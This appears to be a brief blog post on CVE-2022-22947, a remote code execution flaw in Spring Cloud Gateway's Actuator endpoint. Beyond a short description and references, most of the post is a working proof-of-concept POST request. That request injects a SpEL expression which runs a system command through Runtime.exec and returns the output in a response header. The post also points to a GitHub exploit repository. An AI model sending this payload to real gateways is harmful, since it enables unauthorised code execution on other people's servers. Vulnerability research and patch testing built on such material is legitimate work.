CVE-2022-22947 Spring Cloud Gateway RCE

Stella Sebastian
Posted by Stella Sebastian March 5, 2022

superior_hosting_service

CVE-2022-22947 RCE

Spring Cloud Gateway provides a library for building an API Gateway on top of Spring WebFlux.

Applications using Spring Cloud Gateway in the version prior to 3.1.0 and 3.0.6, are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

References:

https://tanzu.vmware.com/security/cve-2022-22947
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

POC

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
spring

EXP

cve

The CVE-2022-22947 RCE is a github repository by shakeman8

Source from
vulnerability scanner for container

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